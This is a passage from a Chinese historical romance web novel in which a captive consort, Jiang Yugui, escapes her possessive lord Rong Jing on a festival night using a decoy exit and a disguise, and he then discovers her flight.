因着白日那场美妙的误会与姜于归那一声亲你的潜玉,以及她那份全然的依赖与共同的期盼,容璟的兴致极高,比往日更多了几分难以自持的炽热。 他的吻细密而灼热,带着不容抗拒的力道,却又在细节处极尽耐心。 在情潮翻涌,意识最为朦胧涣散的顶点,容璟紧紧拥着怀中微微颤抖,香汗淋漓的身躯,在极致的感官盛宴之后,一种奇异的,想要倾诉的冲动涌上心头。 容璟用一种异常清晰且异常认真的语气在姜于归耳边低语:“于归,今日永福之事......让你受惊,委屈你了。” 姜于归迷蒙的双眼在黑暗中眨了眨,涣散的瞳孔缓缓聚焦,思绪从情欲的漩涡中抽离出来。 委屈吗?似乎也谈不上。 若非永福那愚蠢而恶毒的一箭,她未必能如此顺利,如此完美的演完那场戏,将容璟最后一丝疑虑彻底粉碎,让他坚信她已彻底被驯服。 但......想到林晏的惨死,想到永嘉,睿王一党的狠毒与构陷,身为他们胞妹,享受着他们带来尊荣的永福,又岂会是纯良无辜之辈? 一丝真实的,冰冷的恨意,悄然缠上了姜于归的心头。 容璟不知姜于归心中这百转千回的算计与恨意,只继续沉声道,声音里带着属于上位者的冷静分析与不容置疑的承诺。 “并非我不想立刻为你出这口气,只是眼下时机不对,薛贵妃母族势大,盘根错节,陛下刚刚做完平衡,意在安抚双方,我若此刻急不可耐的动手,无异于告诉所有人,你姜于归,便是我容璟的逆鳞,触之即狂。这只会将你置于更危险的境地,让所有明枪暗箭都对准你。” 说到这里,容璟顿了顿,手臂收紧,将她更深的嵌入怀中,那力道带着一种绝对的占有,声音里也染上了一层属于权臣的冷酷与势在必得。 “但你信我,今日她加诸在你身上的恐惧与羞辱,他日时机成熟,我必让她百倍千倍偿还!这笔账,我容璟记下了,刻在心里,绝不会忘。” 这是容璟第一次如此直白的向姜于归剖析利害,并给出关于报复的承诺。 这番话里有政治的考量,有权谋的冷酷,却也透着一份对她独特的,建立在扭曲认知之上的维护。 姜于归沉默了片刻,在容璟怀中调整了一个更舒适的姿势,脸颊贴着他汗湿的,微微起伏的胸膛。 她能感受到这番话里不容置疑的掌控欲,也能听出那隐藏极深的,想要取悦她的意图。 姜于归抬起有些乏力的手臂,轻轻回抱住容璟精壮的腰身,将脸更深的埋入他颈窝,用一种带着些许事后的慵懒与哽咽,却又无比清晰,无比真切的声音,低低回应:“好,我信你,望你说到做到。” 这句话七分是真,她是真切的希望容璟能铲除林晏的仇人。 剩下的三分,则是针对他此刻深情与承诺的,最完美的回应与鼓励。 而这句回应听在容璟耳中,无异于最烈性最甘美的□□! 她信他! 姜于归不仅全盘接受了他的解释,理解了他的隐忍,更认同了他对未来的谋划,甚至......在催促他去实现它! 她与他是真正站在同一阵线,拥有共同敌人与共同目标的,密不可分的共同体! 一种难以言喻的狂喜更加汹涌的席卷了容璟,比方才的□□交融更让他心神战栗! 容璟不再多言,所有的语言在此刻都显得苍白无力,他只能用更猛烈,更深入,更带着一种确认与烙印意味的占有作为回应,仿佛只有通过这种最原始,最直接的方式,才能确认彼此的存在,才能将这来之不易的同心同德,将这虚幻的深情牢牢锁住,刻入骨髓,融为一体。 容璟情根深种,沉溺在自己编织的名为相爱的幻梦之中,享受着猎物彻底驯服,全心依赖甚至主动迎合的快感,以为已触摸到了人间极乐的巅峰。 而姜于归亦“情根深种”,将所有的清醒,刻骨的恨意与决绝的逃离之心,都深埋在看似温顺迎合的躯壳之下,如同最耐心的猎手,冷静的享受着猎人放松警惕的每一个瞬间,等待着那个必将到来的,给予致命一击的时机。 夜色深沉,帐内被翻红浪,交织着的是两种截然不同,却同样炽烈汹涌的深情。 危险,又迷人。 自那夜之后,容璟彻底沉溺在这由他亲手编织,并由姜于归完美配合演出的深情幻梦之中。 他享受着姜于归全然的依赖,与偶尔流露的被他解读为爱意的羞怯,他眼见着姜于归一日日愈发柔顺,不仅将汀兰水榭打理得妥帖,府中的庶务更是料理的毫无错处,只觉得人生二十载,从未有如现在这般快活圆满。 十月寒衣节,容璟亲自陪姜于归前往普渡寺祈福。 秋风已带凛冽,容璟亲手为姜于归系上厚实的斗篷,指尖拂过她颈侧细腻的肌肤,动作自然亲昵。 姜于归垂眸静立,任由他施为,在缭绕的香烟与梵唱中,她虔诚跪拜。 可是祈求的并非与身边人的天长地久,而是希望故人魂灵安息,可以昭雪,以及......即将到来的自由。 府中老夫人那里,因着容璟私下恳切陈情,道是自己心甘情愿,加之姜于归此后言行举止愈发温婉恭顺,从不恃宠而骄,老夫人虽心底对那避子药一事仍存着疙瘩,终究是心疼孙子,不愿为此伤了祖孙情分,便也睁一只眼闭一只眼,不再多言。 转眼冬至,府中设下家宴,觥筹交错间,容璟当众命人将御赐的月光锦尽数赐予姜于归,那流光溢彩的锦缎在灯下熠熠生辉,晃花了满座宾朋的眼,也坐实了姜于归宠冠后院无人能及的地位。 姜于归在一片或艳羡或嫉妒的目光中起身谢恩,姿态谦卑柔顺。 无人知晓,她借着筹备年节,调度物品的便利,早已将一些不易察觉的金银细软,还有几身便于行动的寻常布衣,并一些必要的路引文书,悄然藏匿于只有她自己知晓的隐秘之处。 姜于归甚至以只吃药调理不够,还需要锻炼,于是冬日里活动筋骨为由,依旧定期去马场练习。 容璟将她这份辛劳看在眼里,只觉她是在努力融入他的世界,经营他们的家业,心中怜爱更甚。 每每见姜于归晚归,面露倦色,容璟总会将她揽入怀中温存安抚。 姜于归则总是依偎着他,声音软糯:“能为潜玉分忧,是妾身的本分。” 容璟觉得现在的日子真实美满,权势在握,美人在怀,且这美人身心皆系于他一人之身,夫复何求? 直至小年夜前夕,姜于归很早就表示想和容璟外出赏花灯。 姜于归主动相约,容璟极为期待。 盛京街头火树银花,各式花灯将夜空映照得恍如白昼,容璟紧紧握着姜于归的手穿梭于人流中,看她戴着厚厚的兜帽,只露出一双映着璀璨灯火的眼眸,心中被一种充盈的踏实感填满。 然而,姜于归的掌心却沁着冰冷的汗,她宽大的袖袋深处,紧紧贴着一枚冰凉坚硬的物件。 那是她前两日,趁容璟沐浴更衣,心神松懈时,从他随手搁置的常服暗袋中,小心翼翼摸出的一枚青龙台令牌。 此物虽非官凭,但在京城,有时比官凭更管用,尤其是在夜间,足以应对盘查,畅通无阻。 姜于归心跳如擂鼓,面上却不敢显露分毫,只努力维持着温婉的笑意,任由容璟牵引。 就在她暗自计算着时机,思索如何能自然的脱离容璟视线时,一个意想不到的转折出现了。 他们遇上了微服出游的太子与太子妃。 姜于归本打算带着容璟去她准备好的路线,结果现在出现变数,太子相约,容璟不好不应。 四人寻了一处临街的雅间稍作歇息,室内暖融,茶香袅袅,窗外是喧嚣的市井人间。 闲聊片刻,太子放下茶盏,神色微正,看向容璟:“潜玉,借一步说话,孤有些朝中的琐事,想听听你的见解。” 容璟眉头几不可察的一蹙,他今夜只想与姜于归独处,尤其是姜于归为这次出游做了不少准备,说是要给他惊喜。 但太子的面子不能不给,他下意识的看向姜于归,目光中带着一丝不愿分离的依恋。 就在他迟疑的瞬间,姜于归的心几乎跳到了嗓子眼! 机会!千载难逢的机会! 她立刻抓住这稍纵即逝的空隙,抬起眼,目光纯净的看向容璟,语气带着恰到好处的体贴与一丝对窗外热闹的向往:“世子与太子殿下既有正事要谈,妾身在此恐有不便。方才进来时,见楼下街角那盏走马灯甚是精巧,不若......妾身去楼下逛逛,稍候片刻?” 姜于归的话音刚落,太子妃便善解人意的笑着接口道:“正巧,本宫也觉得坐久了有些闷,想下去走走,于归妹妹若是不嫌弃,便与本宫一同前去瞧瞧那走马灯可好?也让殿下与潜玉安心说话。” 太子妃的提议,完美的化解了容璟的顾虑,有尊贵的太子妃相伴,安全无虞,且合乎礼数,他若再阻拦,反倒显得古怪。 容璟深深看了姜于归一眼,见她眼神清澈,满是依赖与等待,心中最后一丝疑虑散去。 他抬手,为她理了理兜帽的系带,语气温柔却带着不容置疑的叮嘱:“好,去吧,仔细跟着太子妃,莫要走远,多看一会儿也无妨,我谈完事便去寻你。” 姜于归乖巧点头,垂下眼睫,掩去眸中瞬间汹涌的,几乎要破笼而出的决绝与激动。 她站起身随着太子妃盈盈一拜,而后转身,步履从容的走向雅间门口,每一步,都像是踏在绷紧的钢丝上,身后是容璟专注的目光,身前,是通往未知自由,也可能是万丈深渊的迷离夜色。 门,在身后轻轻合上,隔绝了室内的温暖与那个男人的气息。 姜于归深吸一口冰冷而自由的空气,袖中的手死死拽住那枚偷来的令牌。 时机到了。 她与太子妃并肩走在流光溢彩的街道上,太子妃显然心情极佳,而姜于归心里正在思索着这个遇见太子和太子妃的变数,要如何才能前往她已经准备好的地方。 太子妃觉得这些时日与姜于归的来往,效果斐然,容璟与太子的关系肉眼可见的愈发紧密,这让她看待姜于归的目光,更多了几分发自内心的亲近与看重。 即便对方只是侧室,她也拿出了对待正室般的尊重与和气,轻声细语的与姜于归谈论着街景趣闻。 姜于归面上含着恰到好处的浅笑,偶尔附和几句,心思却早已飞到了九霄云外。 就在这时,一个举着糖葫芦跑得飞快的小男孩嬉笑着从人群中钻出,直直朝她们这个方向冲来! 那一瞬间,姜于归动作和脑子反应快,她看准时机,脚下看似不经意的一个趔趄,裙摆恰好撞在了那串鲜红欲滴的糖葫芦上。 黏稠的糖浆瞬间在她昂贵的裙摆上,晕开一大片刺目又狼藉的污渍。 “呀——” 小男孩吓了一跳,看着眼前衣着华贵,身后还跟着随从的夫人,虽然是自己被撞,小脸上也瞬间写满了恐惧,紧随其后的父母更是吓得脸色发白,连连躬身道歉。 姜于归却迅速稳住身形,脸上没有丝毫恼怒,反而蹲下身语气温和得近乎安抚:“无妨的,是我不小心,没瞧见你跑过来,莫要害怕,你可有撞疼哪里?” 被吓呆的小男孩没想法对方没有责怪自己,反而安慰其他,可即便如此,小男孩和他的家人也不敢指责姜于归的过错,依旧道歉。 姜于归见此,示意身后的素馨上前,取了些银钱塞给那对惶恐的父母,算是压惊兼赔偿糖葫芦。 这一番举动,落在太子妃和旁人眼中,自然是这位容侧夫人心地善良,性情柔婉,不愿与平民计较,甚至还体贴的抚慰受惊的孩童。 太子妃见状,便温言道:“妹妹真是心善!” 姜于归轻轻的笑了笑,低头看着弄脏的衣裙道:“这衣裳污了,继续穿着实在不妥,前面有家不错的成衣铺子,我想去换身衣服,劳驾您等我一番了。” 太子妃自然没有拒绝,陪伴着姜于归一起前去成衣店。 一行人转向那家装潢颇为气派的成衣店,今日盛京热闹非凡,此刻这家成衣店内客人更是众多。 太子妃身份尊贵,自然是要了最里间安静的雅室歇息等候,素馨与秋实则寸步不离的跟着姜于归,进入另一间专供客人更换衣裳的隔间。 富贵人家女眷出行,车辇中总会备着几套衣服以防万一,此刻隔间内,秋实已经捧上早已备好的替换衣物。 姜于归看着衣服,眉头却微微蹙起,对秋实低声道:“这衣服的颜色与世子的不太相配,一会儿还要和世子去赏灯,我记得还带了一件鹅黄色的,你去找找。” 秋实不疑有他,应声而去。 此刻,隔间内只剩下她和守在门外的素馨。 姜于归深吸一口气,努力平复狂跳的心脏,随后,姜于归突然捂着腹部,脸上露出些许不适,拉开隔间的门,对门外的素馨低语,声音带着一丝尴尬:“素馨,我......我有些腹痛,想去方便一下。” 素馨目光微动,但见她脸色确实有些发白,且神态自然,便点了点头:“奴婢陪夫人去。” 成衣店的净房设在店铺后院的一角,相对僻静,姜于归走进那狭小的空间,关上门,却没有立刻动作,而是屏息听着外面的动静,她能感觉到素馨就守在不远处。 姜于归知道她身边除了秋实和素馨,暗中还有不少安危,可是如今她在换衣服,那些暗处的安危便不方便靠近,跟别提姜于归还在净房这种地方。 时间紧迫!不能再等了! 100. 第 100 章 姜于归找到一根木棒,随后猛的拉开门,在素馨闻声转头看过来的瞬间,用尽全身力气,狠狠砸向素馨的后颈! “呃!” 素馨根本来不及反应,只发出一声短促的闷哼,眼中带着难以置信的惊愕,软软的倒了下去。 姜于归的心脏几乎要冲破胸膛! 她看着倒下的素馨,急促的呼吸着,只觉得紧张的后背的衣服都被汗水打湿,她咽了咽口水,随后飞快的将素馨拖入净房内,掩上门。 然后,姜于归毫不犹豫的脱掉身上那身裙摆弄脏的华丽衣裙盖在素馨身上,露出里面一身普通的暗灰色冬袄。 冬日严寒,穿两身衣服虽然是有几分臃肿,但是却也合理,所以姜于归早就把这身不起眼的衣服穿在里面,就是为了逃跑做的准备。 虽然脱下最外面的衣服有些寒冷,但此刻姜于归心中紧张不已,身上额头更是出了不少汗,她更是丝毫感觉不到冷。 此刻她不再是那个光彩照人,备受宠爱的容侧夫人,而像一个最寻常不过的市井妇人。 姜于归最后看了一眼昏迷的素馨,眼中掠过一丝极淡的复杂,但随即被更强烈的决绝覆盖。 她不能再犹豫! 好在这几个月她的外出不是没有收获,对于这件成衣店,姜于归已经很熟了,姜于归悄无声息的溜出净房,借着后院堆放的杂物和夜色的掩护,如同一条滑溜的鱼,迅速穿过狭窄的后巷,融入了前方灯火阑珊,人流如织的陌生街道。 寒风扑面而来,带着自由而冰冷的气息。 她成功了第一步。 姜于归没有丝毫犹豫,凭借着之前多次出游和采买时默默记下的路径,专挑光线昏暗,行人稀少的小巷穿行, 不过她的计划并非直线逃离,而是一招精妙的声东击西。 她心里推算着,一旦容璟得知她逃离,以容璟的权势和掌控欲,一定会第一时间封锁城门,严加盘查,与此同时,会派人出城去找。 虽然姜于归现在会骑马,可是夜行她还有有些顾虑的,可若是不夜行,不早些远离盛京,姜于归又觉得害怕不过片刻,就会被容璟抓回去。 但是往往最危险的地方,就是最安全的地方。 所以姜于归再次设计了一场戏,她拿走了容璟的青龙令。 直接藏身盛京风险极大,因为容璟很快会意识到青龙令丢失,会猜到姜于归用令牌出城,可若是查到没有人用令牌出城,容璟就会知道姜于归还在城内,从而将搜捕重心完全放在城内。 所以她必须利用这块令牌,为真正的逃脱争取时间和空间。 离开成衣店的姜于归在街头小巷中穿梭,迅速奔向与成衣店相隔两条街的一个僻静巷口,那里早就拴着一匹她通过之前练习骑马的便利,用化名和积攒的银钱早已备下的,毫不起眼的栗色马匹,马鞍上,挂着一顶垂着厚厚黑纱的幕离。 姜于归利落的翻身上马,戴上幕离,厚重的黑纱将她面容身形完全遮蔽,她一夹马腹,策马朝着最近的一个城门疾驰而去,马蹄踏在青石板上,发出清脆而急促的声响,如同她狂乱的心跳。 今夜虽是佳节,但城门守卫并未因喜庆而松懈,反而因为更多前来盛京游乐赏灯的人流,而增派了人手,盘查得比平日更为仔细。 “站住!何人此时出城?”守卫长枪一横,拦住了这匹形色匆匆的单骑。 姜于归勒住马,一言不发,只是从幕离下伸出一只纤细的手,指尖捏着那枚沉甸甸的,雕刻着狰狞龙纹的玄铁令牌。 守卫头领凑近一看,瞳孔骤缩!青龙令! 他虽未必亲眼见过此等秘令,但那独特的形制,冰冷的质感以及其上代表的无上权威,让他瞬间脊背发凉。 持此令者,行事皆属机密,岂是他一个小小城门卫可以过问? 所有盘问的话语瞬间卡在喉咙里,守卫头领恭敬行礼之后立刻挥手,声音带着一丝不易察觉的敬畏与紧张:“放行!” 城门前的障碍被迅速移开,姜于归见此一抖缰绳,栗色马如同离弦之箭,瞬间冲出了这座禁锢她已久的牢笼,没入城外无边的黑暗之中。 然而,她并未远遁。 青龙令已经使用过,就算容璟后续追查,也会从城门守卫那里得知,一个头戴幕离的神秘人骑着马出城,容璟会以为姜于归逃出盛京。 谁也料不到,她没有离开! 出城后,姜于归沿着官道疾驰数里,确保远离城门守卫视线后,立刻拐入一条偏僻的小路。 她对京郊的地形早已在多次祈福和祭拜中摸清,很快,她抵达了一处荒废已久的山神庙。 这里,是她利用祭拜林晏的机会,早已选定的第一个中转点。 即便现在的机会已经成功一半,姜于归还是觉得心脏砰砰直跳,似乎下一刻就要从嗓子眼跳出来了。 她敏捷的跳下马,冲进破败的庙宇,在一个布满灰尘的神龛后面,紧张的摸出一个早已藏好的包袱。 里面是一套半旧的青色男装,一些碎银铜钱,还有一些因为着急子嗣,从府医那里了解到的一些可以染色的植物草药,以及一份伪造的看似普通的路引,还有几张空白的路引。 姜于归迅速脱下身上的服饰和幕离,直接拿出火折子生火将其烧掉,随后用布条紧紧束住胸,换上那身男装,将长发全部挽起塞进一顶普通的毡帽里,再用那草药的药膏擦上脸。 片刻之间,一个身形单薄,面色微黄,风尘仆仆的少年郎便出现在了破庙中。 姜于归不敢耽搁,等着衣服烧的差不多后,再次翻身上马。 她必须在容璟发现她失踪,并下令严查所有城门之前,完成这次危险的折返! 这一次,姜于归没有回头,而是绕了一个大圈,朝着盛京另一个方向的城门而去。 当她再次抵达城墙下时,姜于归下了马,调转方向,随后她松开缰绳,用力一拍马臀。 栗色马吃痛,嘶鸣一声,朝着城外跑去。 跑远些吧,即便未来容璟查到她出城的城门,城门的守卫能说出拿青龙令的人骑的什么马?即便找到了马儿,或许更能确定,姜于归在城外,而不是在城内。 随后姜于归转身,混在那些还在进城准备赏灯会,看烟火的百姓之中。 这个城门比她出来的那个更为热闹,人流如织,守卫虽然依旧在盘查,但面对如此庞大的人流,显然无法做到细致入微。 姜于归低着头,模仿着少年人的步态,将那份伪造的路引递上,守卫粗略的扫了一眼,又打量了一下她这身不起眼的行头,挥挥手便放行了。 进城之后,她没有丝毫留恋,甚至没有看一眼那依旧璀璨的万家灯火。 姜于归没有去任何客栈或车马行,那些地方必然是容璟发现她失踪以后,第一时间搜查的重点。 姜于归去的地方,是之前利用容璟的信任,以体察民情,布施积福为名,暗中观察并选定的位于南城边缘,一片龙蛇混杂的棚户区里,一个独居的,耳背眼花的寡老婆子租住的破败小院。 她早已用不易追踪的碎银,预付了足足三个月的租金,只说是家中遭难,来京投亲不遇,需找个僻静处暂住,那老婆子只图钱财,并不多问。 当她终于敲响那扇吱呀作响的木门,被老婆子嘟囔着迎进去,反身插上门闩的那一刻,姜于归背靠着冰冷的门板,浑身脱力般的滑坐在地。 直到此刻,那一直紧绷到极致的神经才敢稍稍松懈,冷汗早已浸湿了她的内衫,在冬夜里带来刺骨的寒意,却也让她无比清醒。 在这死寂的,属于她的第一个安全角落,过去数月那些看似微不足道的日常,此刻如同潮水般清晰的涌上心头。 那匹栗色马,是她借着学习骑术的便利,一次次无意中经过西市,那家由一对老实巴交的老夫妻经营的小马行时,用积攒的,无法追踪的碎银,通过一个在街上撞到的,给了几个铜板就千恩万谢的乞儿,辗转买下并寄养在那里的。 她甚至记住了那对老夫妻的闲聊,知道他们儿子在城外服役,急需用钱,绝不会多嘴。 这身男装和路引,并非一蹴而就,是在无数次为世子祈福而前往普渡寺的途中,她借口体察民情,布施积福,在那些拥挤的三教九流混杂的集市上,像蚂蚁搬家一样,一次买块布,一次买点棉花,再找个由头,赏赐给府里针线房一个因家贫而格外需要银钱,且口风极紧的绣娘,让她练手做几件下人穿的厚实冬衣。 路引则是利用一次布施时,偶然帮助了一个因丢失文书而焦头烂额,有些门路的行商,对方为报恩,在她好奇询问下,透露了黑市门路,她再通过同样的乞儿渠道,花费重金购得。 就连这处藏身之所,也是她借着冬日施粥的名义,亲自来过这片棚户区后,看中了此处的混乱与不起眼。 姜于归再次利用了那个乞儿,让他去寻找一个贪财且耳背的房东,以远房侄孙的名义,预付了租金。 而姜于归本人,从未与那老婆子直接接触过。 所有这些碎片化的准备,都隐藏在她温婉,虔诚,体贴的日常面具之下,隐藏在她被允许的祈福,祭拜,学习骑术,和管理庶务的活动中。 容璟看到的,是姜于归对骑术的热衷,是她对祈福的虔诚,是她对庶务的用心,是她对下人的宽和。 容璟享受着姜于归的依赖,欣赏着她的成长,却不知道姜于归每一个合乎情理的举动背后,都藏着为今日挣脱牢笼而埋下的一颗铆钉。 她利用的,正是容璟那建立在掌控之上的信任,他相信一切都在他视线之内,却忽略了,在他视线之内的,是姜于归精心筛选后,愿意让他看到的真实。 冰冷的土气扑面而来,小屋狭小,破败,充满了霉味和贫穷的气息。 然而在这一刻,这陋室于她而言,却比那座金碧辉煌的汀兰水榭,更让姜于归感到一丝久违的,属于自己的喘息之机。 她成功了。 她不仅逃出了那座囚笼,完成了一次完美的消失。 她成功了。 不是暂时的逃离,而是真正消失在了容璟的眼皮底下。 容璟此刻或许还在和太子畅聊,也或许已经知道了姜于归失踪,正在暴怒的封锁城门,搜索那个拿着青龙令出城的女子,却绝不会想到,他遍寻不着的猎物,早已改头换面,重新回到了这座巨大的城市迷宫之中,如同水滴汇入大海。 姜于归蜷缩在黑暗中,听着自己逐渐平复却依旧急促的心跳,和外面街上隐隐传来的,与她再无关系的喧闹声。 自由的第一步,她走得惊心动魄,却精准无比。 背靠着冰冷门板的松弛感并未持续太久,那根紧绷了整夜的弦,在短暂的松懈后,反而以一种更刁钻的方式反弹回来,带来一种深入骨髓的后怕与清醒的恐惧。 小屋死寂,唯有姜于归自己尚未完全平复的心跳声。 她确实是成功了,但远远未到可以高枕无忧的时候。 姜于归简单整理一番,蜷缩在冰冷的土炕上,裹紧房间里那带着些许霉味的旧被,试图汲取一点暖意,却发现四肢百骸都透着一种无法驱散的寒意。 这寒意并非全然来自冬夜,更多是源于心底那片迅速弥漫开来的,对容璟的深刻认知带来的惊悸。 容璟......他绝非易与之辈。 在知道她逃离之后,容璟第一反应定然是震怒,但在最初的震怒过后,他必然会动用所有力量,沿着那条持青龙令,戴幕离,骑马出城的线索,向城外撒下天罗地网。 但这能迷惑他多久? 一天?两天?三天? 姜于归不确定,但她知道,一直在城外找不到人,容璟很快就会起疑。 一个身无武艺的弱质女流,即便学过一段时间骑术,也不可能比拟他手底下的精锐,那么如何在寒冬深夜,避开所有官道哨卡?应对野外危机?并且消失得如此干净利落?连青龙台和最老练的追踪好手都寻不到一丝痕迹? 这不合常理。 所以以容璟的多疑与智慧,他很快就会意识到,这只是一个精心设计的障眼法。 一旦容璟怀疑的重心从城外转回城内,姜于归几乎能想象出那随之而来的,令人窒息的风暴。 容璟会将这数月来,姜于归所有看似温顺,虔诚,忙于庶务的行为,一帧一帧地在脑中复盘。 姜于归会骑马,他便能想到她可能利用马匹制造假象,姜于归曾管理庶务,外出采买布施,他也能顺藤摸瓜,查到那些零碎银钱的去向,甚至......那个被她利用过数次的小乞儿,在容璟那般雷霆手段之下,真的能守住秘密吗? 这处藏身之所,是姜于归利用布施名义亲自踩过点的! 这个念头如同冰锥,狠狠刺入姜于归的脑海,让她瞬间惊起了一身冷汗。 是了,这里绝非万全之地!它甚至可能是最先暴露的地方之一! 容璟只需要将她这几个月所有外出的记录,接触过的人一一排查,这片她曾亲临施粥的棚户区,必然会被划入重点搜查的范围。 她必须走!必须在容璟的怀疑重心彻底转回城内之前,再次消失! 恐慌如同无形的藤蔓,瞬间缠绕住姜于归的心脏,越收越紧。 下一刻,她猛的坐起身,在黑暗中急促不安的喘息着,仿佛容璟派来的爪牙已经包围了这间陋室,下一秒就会破门而入。 姜于归死死的拽住身上的被子,强迫自己冷静下来,开始像下棋一般,将自己代入容璟的视角。 他会怎么找? 搜寻一个孤身女子是必然,但容璟绝不会如此简单。 他一定会严查所有近期出现在城内,年龄相仿,身形相似的女子,甚至除了女子,他定然能猜到姜于归扮男装! 瘦弱的陌生少年郎!路引,户籍,落脚之处......任何一丝疑点都不会放过,既然如此,那么男装这个身份也不安全。 那么是扮做老人?还是老妇人更安全呢? 姜于归的脑子飞速运转。 老人的姿态声音,以及步履都极难模仿,容易被看出破绽。 而一个沉默寡言,深居简出的老妇人,或许......是更好的选择? 但现在这个情况,如何弄到合身的衣物?如何完美地伪装出苍老的体态是个问题? 无数个念头,无数种可能在姜于归脑中激烈碰撞,然后又彼此推翻,姜于归总觉得,每一种方案似乎都潜藏着被识破的风险。 姜于归对容璟的恐惧,在此刻具象化为他无所不在,仿佛已经笼罩了整个盛京,正一寸寸地犁的搜查,不放过任何角落。 而最初的雅间内,茶香依旧袅袅,容璟与太子关于一些朝局的闲谈也正到酣处,他的唇角还带着淡淡的笑意,那是发自内心的松弛与愉悦。 毕竟今夜姜于归难得的主动,容璟想到姜于归暗自提起的为他准备的神秘惊喜,容璟心中就无比期待。 但就在这时,雅间的门被极轻的叩响。 下一刻,长风的身影悄无声息的闪入,他甚至不敢抬头,径直走到容璟身边,随后俯身,以极低的声音,用最简练的语言禀报了成衣店内的剧变。 素馨被打晕,秋实寻不到人,侧夫人......不知所踪。 在听到不知所踪四个字的刹那,容璟的心猛然紧缩,脑中第一个掠过的念头竟是姜于归出事了! 是否是睿王永嘉他们趁此机会对她下手?还是其他政敌找准时机出手? 想到这里,容璟心中顿时懊悔不已,即便姜于归身边有不少暗卫保护,还是不该放任她独自外出。 然而这个念头仅仅存在了一瞬,便被他自己强行摁下。 不对,若是遭遇外力挟持,长风禀报时绝不会是如此措辞,更别说姜于归并非真的孤身一人,她是和太子妃一起的,那么...... 一个更冰冷,也更残酷的答案,如同淬了毒的冰锥,缓缓刺入容璟的意识。 是她自己走的。 那一瞬间,太子清晰的感觉到,坐在他对面的容璟,周身那温和闲适的气息骤然消失! 并非暴怒,而是一种极致的,冰冷的凝固。 仿佛暖春湖面在眨眼间被绝对零度冰封,连空气都停止了流动,带着一种令人心悸的死寂。 她跑了。 这个认知如同最恶毒的诅咒,在容璟脑中轰然炸响。 什么主动相约,什么精心筹备的惊喜路线,什么依赖信任,什么共同期盼的子嗣! 全都是假的! 容璟曾以为姜于归眼中盛满了对他情意的眼眸,原来从头到尾,都是一场处心积虑的,最高明的表演! 这数月来的温情脉脉,那些他以为终于捂热了她冰封心房的瞬间,那些他沉浸其中的,名为相爱的幻梦,原来从头至尾,都是一场精心策划,处心积虑的骗局! 一种被彻底愚弄,彻底背叛的狂怒,混合着一种连容璟自己都不愿承认的尖锐刺骨的刺痛,如同岩浆般在他胸腔里奔涌,几乎要将他引以为傲的理智焚烧殆尽。 为什么? 他给予姜于归无上的荣宠,纵容她的一切,甚至开始规划他们的未来......他以为他终于得到了梦寐以求的,纯粹属于他一个人的情感与忠诚。 可结果呢? 记忆深处某些冰冷刺骨的画面不受控制地翻涌上来。 那只他偷偷喂养了许久,会蹭他手心的流浪猫,在他眼前被活活打死,母亲只是语气平淡的告诫:“潜玉,你是容家世子,未来的栋梁,这些无用的,软弱的恻隐之心,不该有。” 父亲将他精心临摹了许久,自认已得七八分风骨的字帖拿在手中,只随意扫了一眼,便如同丢弃一件无关紧要的杂物般,随手掷于一旁,甚至未曾多给那跳跃的火焰一个眼神。 他的声音平淡,听不出喜怒,却比任何斥责都更令人心寒。 “不过写了几个字,便指望褒奖?潜玉,你是容家世子,未来的国公,做到这般程度是本分,是天经地义,若连这点微末小事都需寻求外人肯定,你的心性未免太过幼稚,不堪大任。” 容璟记得火光映着父亲冷硬漠然的侧脸,仿佛在灼烧的并非纸墨,而是容璟那点微不足道的,渴望被看见的孺慕之情。 那一刻,年幼的容璟彻底明白,在父母眼中,他存在的意义,仅仅在于容家世子这个身份。 他是继承门楣,光耀家族的工具,只要他表面上能支撑起国公府的未来,父母的任务便算完成。 他们可以从这责任中解脱,转身去宠爱各自情人生的,可以肆意哭笑,不必背负重担的孩子。 比如父亲宠爱的侧室所出的三弟容琅,又比如母亲在别院精心教养的弟弟妹妹。 他必须完美,必须无懈可击,必须没有会被人利用的情感弱点。 至于他本身是喜是悲,无人关心,也不该存在。 没有人问过他是否喜欢那只猫,没有人在意他为了那幅字付出了多少心血。 他的喜好,他的情感,在家族的责任,在冰冷的权术面前,是那么微不足道,甚至......是原罪。 容璟以为他早已习惯了这一切,早已将自己锤炼得坚不可摧,可姜于归的出现,却是个始料未及的变数。 最初,他只是冷眼旁观她对林晏那份生死相随的执着,觉得愚蠢又刺眼。 那是一种他从未拥有过,也从不相信会存在的炽热与纯粹。 这份深情像一团不合时宜的野火,灼痛了容璟冰封的世界,让他不由自主的被吸引,想要靠近,想要看清,更想要......据为己有。 他成功的夺取了姜于归的人,将她圈禁在自己的领地里。 尤其是在这期间,容璟感受着姜于归的依赖与逐渐软化的恨意。 容璟以为这便是胜利,他以为时光和掌控终能磨灭过去,让她眼里心里都只剩下他容璟。 容璟恍惚以为,或许......或许这世上,终有一人,是不同的。 原来,都是假的。 姜于归不仅不在意他的感受,更是将他这份难得的,小心翼翼捧出的信任与期待,踩在脚下,碾得粉碎! 她欺骗他利用他,为他精心烹制了一场盛大的,名为深情的骗局! 呵! 容璟垂在袖中的手,指节因极度用力而泛出青白色,指甲深深陷入掌心,带来尖锐的痛感,才勉强压制住那几乎要冲破理智防线的,毁灭一切的冲动。 他不能失态,尤其是在太子面前。 几乎是在呼吸之间,容璟脸上那种冻土般的死寂便迅速褪去,重新覆盖上了一层得体的,甚至带着一丝恰到好处担忧的温和面具。 只是这温和,比之前虚假了千百倍,眼底深处是望不见底的幽寒。 太子甚至觉得,室内的烛火都随之暗了一瞬。 站在一旁的长风,更是将头埋得更低,连呼吸都屏住了,脊背窜上一股寒意。 他跟随世子多年,深知这无声的死寂,远比雷霆震怒更为可怕。 然而,这骇人的气压只持续了不到一息。 容璟便缓缓的将那只险些被他捏碎的茶杯轻轻放回桌上,动作甚至称得上优雅。 他抬起眼看向太子,声音平稳得出奇,听不出丝毫波澜:“殿下,臣响起府中有些琐事,需得即刻回去处理,扫了殿下的雅兴,实在罪过。” 太子是何等人物,虽不知具体何事,但敏锐地察觉到容璟眼底那一闪而过的,几乎无法捕捉的猩红与冰裂。 那绝不仅仅是琐事。 他心中疑虑,面上却不显,只宽容道:“无妨,潜玉既有要事,今日本就是小年夜,是孤打扰你与侧夫人畅游,现在自当以家事为重,你我改日再叙。” 容璟听到太子提起侧夫人,心里只觉得讽刺。 起身,行礼告辞,姿态依旧从容不迫。 转身之际,容璟脸上那层面具般的温和便瞬间剥落,只剩下一片深不见底的阴沉。 跳动的烛火光线在他挺俊的侧脸上投下深刻的阴影,那双凤眸之中,翻涌着足以吞噬一切的黑色风暴。 